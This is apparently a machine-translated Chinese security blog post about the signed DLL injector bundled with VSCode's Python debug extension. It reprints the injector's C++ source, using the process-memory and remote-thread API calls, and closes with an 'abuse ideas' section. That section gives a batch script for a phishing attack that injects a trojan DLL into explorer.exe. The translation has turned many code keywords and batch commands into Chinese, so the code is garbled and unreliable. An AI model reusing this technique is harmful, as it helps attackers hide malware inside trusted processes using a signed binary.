发布于12月5日12月5日 VsCode 扩展中的 DLL 注入器 2023年9月8日马云惹不起马云 VSCode 是Microsoft 开发的免费开源代码编辑器。它支持多种编程语言,并且可以通过安装扩展包进一步扩展其功能。 VSCode的扩展包功能丰富,包括但不限于代码片段、自动补全、调试工具、主题等,用户可以轻松地在VSCode中安装、管理和使用扩展包,满足个人编程需求。安装Python调试扩展后,扩展目录下会生成一些文件: 以下两个文件是DLL注入器,分别对应X86和X64位操作系统: ject_dll_x86.exeinject_dll_amd64.exe还在windows文件夹中保留了注入器的源代码: 路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows //注入_dll.cpp #包括iostream #include windows.h #include stdio.h #include conio.h #includetchar.h #include tlhelp32.h #pragma 注释(lib, 'kernel32.lib') #pragma 注释(lib, 'user32.lib') //当我们离开范围时释放数据的助手。 类DataToFree { 公共: 处理hProcess; HANDLE 快照句柄; LPVOID远程内存地址; int 远程内存大小; 数据到Free(){ this-hProcess=nullptr; this-snapshotHandle=nullptr; this-remoteMemoryAddr=nullptr; 这个-remoteMemorySize=0; } 〜DataToFree(){ if(这个-hProcess!=nullptr){ if(this-remoteMemoryAddr!=nullptr this-remoteMemorySize!=0){ VirtualFreeEx(这个-hProcess, 这个-remoteMemoryAddr, 这个-remoteMemorySize, MEM_RELEASE); this-remoteMemoryAddr=nullptr; 这个-remoteMemorySize=0; } CloseHandle(this-hProcess); this-hProcess=nullptr; } if(this-snapshotHandle!=nullptr){ CloseHandle(this-snapshotHandle); this-snapshotHandle=nullptr; } } }; /** * 我们在这里所做的就是在远程程序中(在远程线程中)加载dll。 * * 参数必须是要运行的pid 和dll 名称。 * * 即:inject_dll.exe pid dll路径 */ int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] ) { std:cout '正在运行可执行文件以注入dll。' std:endl; //清除资源的助手。 数据到免费数据到免费; 如果(参数!=3){ std:cout '需要2 个参数(pid、dll 名称)。' std:endl; 返回1; } const int pid=_wtoi(argv[1]); 如果(pid==0){ std:cout '无效的pid。' std:endl; 返回2; } const int MAX_PATH_SIZE_PADDED=MAX_PATH + 1; char dllPath[MAX_PATH_SIZE_PADDED]; memset(dllPath[0], '\0', MAX_PATH_SIZE_PADDED); size_t 路径长度=0; wcstombs_s(pathLen, dllPath, argv[2], MAX_PATH); const bool 可继承=false; const HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,可继承,pid); if(hProcess==nullptr || hProcess==INVALID_HANDLE_VALUE){ std:cout '无法使用pid: 'pid ' 打开进程。错误代码:“GetLastError()”。 std:endl; 返回3; } dataToFree.hProcess=hProcess; std:cout 'OpenProcess with pid: ' pid std:endl; const LPVOID remoteMemoryAddr=VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(remoteMemoryAddr==nullptr){ std:cout '错误。无法在pid:“pid”中分配内存。错误代码:“GetLastError()”。 std:endl; 返回4; } dataToFree.remoteMemorySize=MAX_PATH_SIZE_PADDED; dataToFree.remoteMemoryAddr=RemoteMemoryAddr; std:cout 'pid: 中的VirtualAllocEx' pid std:endl; const bool write=WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr); 如果(!写){ std:cout '错误。无法写入pid: 'pid' 中的内存。错误代码:“GetLastError()”。 std:endl; 返回5; } std:cout '在pid: 中写入进程内存' pid std:endl; const LPVOID loadLibraryAddress=(LPVOID) GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA'); if(loadLibraryAddress==nullptr){ std:cout '错误。无法获取LoadLibraryA 地址。错误代码:“GetLastError()”。 std:endl; 返回6; } std:cout 'loadLibraryAddress:' pid std:endl; const HANDLE RemoteThread=CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr); if (remoteThread==nullptr) { std:cout '错误。无法创建远程线程。错误代码:“GetLastError()”。 std:endl; 返回7; } //我们等待加载完成,然后再继续获取函数来实际执行附加操作。 std:cout '正在等待LoadLibraryA 完成。' std:endl; DWORD 结果=WaitForSingleObject(remoteThread, 5 * 1000); 如果(结果==WAIT_TIMEOUT){ std:cout 'WaitForSingleObject(LoadLibraryA 线程)超时。' std:endl; 返回8; } 否则if(结果==WAIT_FAILED) { std:cout 'WaitForSingleObject(LoadLibraryA 线程)失败。错误代码:“GetLastError()”。 std:endl; 返回9; } std:cout '好的,完成dll 注入。' std:endl; 返回0; } 签名: 使用时只需要两个参数: pid : 目标进程的进程ID dll name: 要注入到目标进程的DLL 的绝对路径C:\Users\Administrator\Downloadsinject_dll_amd64.exe 运行可执行文件来注入dll。 需要2 个参数(pid、dll 名称)。 测试结果: 滥用想法: 钓鱼时可以发送BAT批处理脚本、dll注入器、dll木马。 BAT批处理:获取x64进程的pid。 BAT批处理:获取dll木马的绝对路径。 BAT批处理:执行dll注入器,将dll木马注入目标进程。 @回声关闭 设置target_process_name=explorer.exe 设置dll_name=calc_x64.dll 设置注入器=inject_dll_amd64.exe for /f 'tokens=2' %%i in ('tasklist ^| findstr /i '%target_process_name%'') 设置'pid=%%i' 设置'命令=%CD%\%injecter%%pid%%CD%\%dll_name%' %命令% 注意:注入的DLL文件路径必须是绝对路径才可以注入成功。最后,感谢@Akkuman
创建帐户或登录后发表意见